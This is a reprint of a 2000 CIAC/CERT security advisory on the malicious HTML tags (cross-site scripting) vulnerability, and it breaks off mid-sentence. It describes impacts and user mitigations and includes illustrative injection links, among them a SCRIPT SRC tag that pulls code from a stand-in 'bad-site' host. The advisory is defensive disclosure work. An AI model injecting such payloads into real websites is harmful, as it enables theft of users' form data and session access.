Malicious HTML Tags Vulnerability
Privacy and Legal Notice
CIAC INFORMATION BULLETIN
K-021: Malicious HTML Tags Vulnerability
Issued: February 2, 2000 18:00 GMT Revised: February 3, 2000
PROBLEM: Malicious HTML tags or script may be included in a dynamically
generated web page.
PLATFORM: Web browsers and web servers that dynamically generate pages
based on unvalidated input. All platforms.
DAMAGE: Unauthorized access may be gained to documentation, server
services, and intranet servers. Domain based security policies
may be violated, and web form behavior can be altered.
SOLUTION: Follow solution procedure listed in the advisory.
VULNERABILITY Risk is high. The capability for exploiting the vulnerability
ASSESSMENT: is readily available.
[ Start CERT Advisory ]
CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web
This advisory is being published jointly by the CERT Coordination Center, DoD-
CERT, the DoD Joint Task Force for Computer Network Defense (JTF-CND), the
Federal Computer Incident Response Capability (FedCIRC), and the National
Infrastructure Protection Center (NIPC).
Original release date: February 2, 2000
A complete revision history is at the end of this file.
* Web browsers
* Web servers that dynamically generate pages based on unvalidated input
A web site may inadvertently include malicious HTML tags or script in a
dynamically generated page based on unvalidated input from untrustworthy
sources. This can be a problem when a web server does not adequately ensure that
generated pages are properly encoded to prevent unintended execution of scripts,
and when input is not validated to prevent malicious HTML from being presented
to the user.
Most web browsers have the capability to interpret scripts embedded in web pages
downloaded from a web server. Such scripts may be written in a variety of
scripting languages and are run by the client's browser. Most browsers are
installed with the capability to run scripts enabled by default.
Malicious code provided by one client for another client
Sites that host discussion groups with web interfaces have long guarded against
a vulnerability where one client embeds malicious HTML tags in a message
intended for another client. For example, an attacker might post a message like
Hello message board. This is a message.
This is the end of my message.
When a victim with scripts enabled in their browser reads this message, the
malicious code may be executed unexpectedly. Scripting tags that can be embedded
in this way include <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.
When client-to-client communications are mediated by a server, site developers
explicitly recognize that data input is untrustworthy when it is presented to
other users. Most discussion group servers either will not accept such input or
will encode/filter it before sending anything to other readers.
Malicious code sent inadvertently by a client for itself
Many Internet web sites overlook the possibility that a client may send
malicious data intended to be used only by itself. This is an easy mistake to
make. After all, why would a user enter malicious code that only the user will
However, this situation may occur when the client relies on an untrustworthy
source of information when submitting a request. For example, an attacker may
construct a malicious link such as
<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT>malicious
code</SCRIPT>"> Click here</A>
When an unsuspecting user clicks on this link, the URL sent to example.com
includes the malicious code. If the web server sends a page back to the user
including the value of mycomment, the malicious code may be executed
unexpectedly on the client. This example also applies to untrusted links
followed in email or newsgroup messages.
Abuse of Other Tags
In addition to scripting tags, other HTML tags such as the <FORM> tag have the
potential to be abused by an attacker. For example, by embedding malicious
<FORM> tags at the right place, an intruder can trick users into revealing
sensitive information by modifying the behavior of an existing form. Other HTML
tags can also be abused to alter the appearance of the page, insert unwanted or
offensive images or sounds, or otherwise interfere with the intended appearance
and behavior of the page.
Abuse of Trust
At the heart of this vulnerability is the violation of trust that results from
the "injected" script or HTML running within the security context established
for the example.com site. It is, presumably, a site the browser victim is
interested in enough to visit and interact with in a trusted fashion. In
addition, the security policy of the legitimate server site example.com may also
This example explicitly shows the involvement of two sites:
<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT
SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>
Note the SRC attribute in the <SCRIPT> tag is explicitly incorporating code from
a presumably unauthorized source (bad-site). Both of the previous examples show
violations of the same-source origination policy fundamental to most scripting
Netscape Communicator Same Origin Policy
Microsoft Scriptlet Security
Because one source is injecting code into pages sent by another source, this
vulnerability has also been described as "cross-site" scripting.
At the time of publication, malicious exploitation of this vulnerability has not
been reported to the CERT/CC. However, because of the potential for such
exploitation, we recommend that organization CIOs, managers, and system
administrators aggressively implement the steps listed in the solution section
of this document. Technical feedback to appropriate technical, operational, and
law enforcement authorities is encouraged.
Users may unintentionally execute scripts written by an attacker when hey follow
untrusted links in web pages, mail messages, or newsgroup postings. Users may
also unknowingly execute malicious scripts when viewing dynamically generated
pages based on content provided by other users.
Because the malicious scripts are executed in a context that appears to have
originated from the targeted site, the attacker has full access to the document
retrieved, and may send data contained in the page back to their site. For
example, a malicious script can read fields in a form provided by the real
server, then send this data to the attacker.
Alternatively, the attacker may be able to embed script code that has additional
interactions with the legitimate web server without alerting the victim. For
example, the attacker could develop an exploit that posted data to a different
page on the legitimate web server.
Also, even if the victim's web browser does not support scripting, an attacker
can alter the appearance of a page, modify its behavior, or otherwise interfere
with normal operation.
The specific impact can vary greatly depending on the language selected by the
attacker and the configuration of any authentic pages involved in the attack.
Some examples that may not be immediately obvious are included here.
SSL-Encrypted Connections May Be Exposed
The malicious script tags are introduced before the Secure Socket Layer (SSL)
encrypted connection is established between the client and the legitimate
server. SSL encrypts data sent over this connection, including the malicious
code, which is passed in both directions. While ensuring that the client and
server are communicating without snooping, SSL makes no attempt to validate the
legitimacy of data transmitted.
Because there really is a legitimate dialog between the client and the server,
SSL reports no problems. Malicious code that attempts to connect to a non-SSL
URL may generate warning messages about the insecure connection, but the
attacker can circumvent this warning simply by running an SSL-capable web
Attacks May Be Persistent Through Poisoned Cookies
Once malicious code is executing that appears to have come from the authentic
web site, cookies may be modified to make the attack persistent. Specifically,
if the vulnerable web site uses a field from the cookie in the dynamic
generation of pages, the cookie may be modified by the attacker to include
malicious code. Future visits to the affected web site (even from trusted links)
will be compromised when the site requests the cookie and displays a page based
on the field containing the code.
Attacker May Access Restricted Web Sites from the Client
By constructing a malicious URL an attacker may be able to execute script code
on the client machine that exposes data from a vulnerable server inside the
The attacker may gain unauthorized web access to an intranet web server if the
compromised client has cached authentication for the targeted server. There is
no requirement for the attacker to masquerade as any particular system. An
attacker only needs to identify a vulnerable intranet server and convince the
user to visit an innocent looking page to expose potentially sensitive data on
the intranet server.
Domain Based Security Policies May Be Violated
If your browser is configured to allow execution of scripting languages from
some hosts or domains while preventing this access from others, attackers may be
able to violate this policy.
By embedding malicious script tags in a request sent to a server that is allowed
to execute scripts, an attacker may gain this privilege as well. For example,
Internet Explorer security "zones" can be subverted by this technique.
Use of Less-Common Character Sets May Present Additional Risk
Browsers interpret the information they receive according to the character set
chosen by the user if no character set is specified in the page returned by the
web server. However, many web sites fail to explicitly specify the character set
(even if they encode or filter characters with special meaning in the ISO-8859-
1), leaving users of alternate character sets at risk.
Attacker May Alter the Behavior of Forms
Under some conditions, an attacker may be able to modify the behavior of forms,
including how results are submitted.
Solutions for Users
None of the solutions that web users can take are complete solutions. In the
end, it is up to web page developers to modify their pages to eliminate these
types of problems.
However, web users have two basic options to reduce their risk of being attacked
through this vulnerability. The first, disabling scripting languages in their
browser, provides the most protection but has the side effect for many users of
disabling functionality that is important to them. Users should select this
option when they require the lowest possible level of risk.
The second solution, being selective about how they initially visit a web site,
will significantly reduce a user's exposure while still maintaining
functionality. Users should understand that they are accepting more risk when
they select this option, but are doing so in order to preserve functionality
that is important to them.
Unfortunately, it is not possible to quantify the risk difference between these
two options. Users who decide to continue operating their browsers with
scripting languages enabled should periodically revisit the CERT/CC web site for
updates, as well as review other sources of security information to learn of any
increases in threat or risk related to this vulnerability.
Web Users Should Disable Scripting Languages in Their Browser
Exploiting this vulnerability to execute code requires that some form of
embedded scripting language be enabled in the victim's browser. The most
significant impact of this vulnerability can be avoided by disabling all
Note that attackers may still be able to influence the appearance of content
provided by the legitimate site by embedding other HTML tags in the URL.
Malicious use of the